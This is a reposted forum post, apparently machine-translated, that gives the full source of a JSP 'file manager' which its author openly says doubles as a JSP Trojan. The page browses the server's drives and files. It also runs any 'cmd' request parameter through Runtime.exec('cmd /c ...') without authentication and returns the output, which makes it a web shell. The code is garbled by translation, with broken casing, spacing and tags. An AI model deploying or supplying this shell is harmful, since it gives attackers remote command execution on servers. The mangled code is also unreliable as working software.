JSP File Manager version 0.5, display directories and files, support cmd operation, can also be used as a JSP Trojan:-)

Source: Internet
Author: User
Tags date file size strlen tostring stringbuffer
Js| Trojan | Show want to slowly improve this folder.jsp applet, add some features, such as file editing, delete, etc.
Directory Operations (Create a new directory, delete a directory, and so on)

The program write more messy, after slowly finishing

Welcome everybody to mention the valuable opinion.




<%
/**

JSP File Manger V0.5 the Windows platform
FileName: folder.jsp
Description: A simple System file directory display program, similar to the resource manager, but the function is much weaker. The main example is to learn the SYstem.IO.File class.
Author: Ci Qin Qiang
Emai:cqq1978@gmail.com
*/
%>

<%@ page contenttype= "text/html;charset=gb2312"%>
<% @page import= "java.io.*"%>
<% @page import= "java.util.*"%>
<style>
Td,select,input,body
{
font-size:9pt;
}
A {Text-decoration:none}
</style>
<title>jsp File manger Version0.5--by ci Qin strong cqq1978@gmail.com</title>
<%!
String Getdrivers ()
/**
Get all the logical disks available on the Windows system
**/
{
StringBuffer sb=new StringBuffer ("drive:");
File roots[]=file.listroots ();
for (int i=0;i<roots.length;i++)
{
Sb.append ("<a href=" "path=" +roots[i]+ "' >");
Sb.append (roots[i]+ "</a>");
}
return sb.tostring ();
}
%>
<%
String strthisfile= "folder.jsp";
Request.setcharacterencoding ("gb2312");
String Strdir = request.getparameter ("path");

if (strdir==null| | Strdir.length () <1)
{
Strdir = "c:\\";
}
StringBuffer sb=new StringBuffer ("");
StringBuffer sbfile=new StringBuffer ("");
Try
{
Out.println ("<table border=1 width= ' 100% ' bgcolor= ' #F1f1f1 ' ><tr><td width= ' 30% ' > current directory: <b>" + strdir+ "</b></td><td>" + getdrivers () + "</td></tr></table><br>\r\n");
File objfile = new file (Strdir);
File list[] = Objfile.listfiles ();
if (Objfile.getabsolutepath (). Length () >3)
{
Sb.append ("&LT;TR&GT;&LT;TD > </td><td><a href= ' path=" +objfile.getparentfile (). GetAbsolutePath () + "' >");
Sb.append ("Superior catalogue </a><br>--------</td></tr>\r\n");
}
for (int i=0;i<list.length;i++)
{
if (List[i].isdirectory ())
{
Sb.append ("&LT;TR&GT;&LT;TD > </td><td>");
Sb.append ("<a href= ' path=" +list[i].getabsolutepath () + "' >" +list[i].getname () + "</a>");
Sb.append ("</td></tr>");
Sb.append ("</td></tr></table>\r\n");
}
Else
{
String strlen= "";
String strdt= "";
Long lfile=0;
Lfile=list[i].length ();

if (lfile>1000000)
{
lfile=lfile/1000000;
strlen= "" + lfile + "M";
}
else if (lfile>1000)
{
lfile=lfile/1000;
strlen= "" + lfile + "K";
}
Else
{
strlen= "" + lfile + "Byte";
}
Date Dt=new Date (list[i].lastmodified ());
Strdt=dt.tolocalestring ();
Sbfile.append ("<tr><td>");
Sbfile.append ("" +list[i].getname ());
Sbfile.append ("</td><td>");
Sbfile.append ("" +strlen);
Sbfile.append ("</td><td>");
Sbfile.append ("" +strdt);
Sbfile.append ("</td><td>");
Sbfile.append ("<!--modify Delete download copy-->");
Sbfile.append ("</td></tr>\r\n");
Sbfile.append ("</td></tr></table>");
}

}
Out.println (Sb.tostring () +sbfile.tostring ());
}
catch (Exception e)
{
Out.println ("<font color=red> operation failed:" +e.tostring () + "</font>");
}
%>


<table width= "100%" border= "1" cellspacing= "0" cellpadding= "5" bordercolorlight= "#000000" bordercolordark= "# FFFFFF ">

<tr>
&LT;TD width= "25%" align= "center" valign= "Top" >
<table width= "98%" border= "0" cellspacing= "0" cellpadding= "3" >

<%=sb%>
</tr>
</table>
</td>
&LT;TD width= "81%" align= "center" valign= "Top" >
<table width= "98%" border= "1" cellspacing= "1" cellpadding= "4" bordercolorlight= "#cccccc" bordercolordark= "#FFFFFF ">
<tr bgcolor= "#E7e7e6" >
&LT;TD width= "26%" > File name </td>
&LT;TD width= "19%" align= "Center" > File size </td>
&LT;TD width= "29%" align= "center" > Modification Time </td>
&LT;TD width= "26%" align= "Center" > File Operations </td>
</tr>
<%=sbFile%>
<!--<tr align= "center" >
&LT;TD colspan= "4" ><br>
Total number of files: <font color= "#FF0000" >30</font>, Size: <font color= "#FF0000" >664.9</font>
KB </td>
</tr>
-->
</table>
</td>
</tr>
</table>

<%
String strcmd= "";
String line= "";
StringBuffer sbcmd=new StringBuffer ("");
Strcmd = Request.getparameter ("cmd");
if (strcmd!=null)
{
Try
{
Out.println (Strcmd);
Process p=runtime.getruntime (). EXEC ("cmd/c" +strcmd);
BufferedReader br=new BufferedReader (New InputStreamReader (P.getinputstream ()));
while ((Line=br.readline ())!=null)
{
Sbcmd.append (line+ "\ r \ n");
}
}
catch (Exception e)
{
System.out.println (E.tostring ());
}
}

%>
<form name= "cmd" action= "" method= "POST" >
<input type= "text" name= "cmd" value= "<%=strCmd%>" size=50>
<input type=submit name=submit value= "Executive" >
</form>
<%
if (Sbcmd!=null && sbcmd.tostring (). Trim (). Equals ("") ==false)
{
%>
<textarea name= "cqq" rows= "cols=" 100% "><%=sbcmd.tostring" ()%></textarea>
<%
}
%>




Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.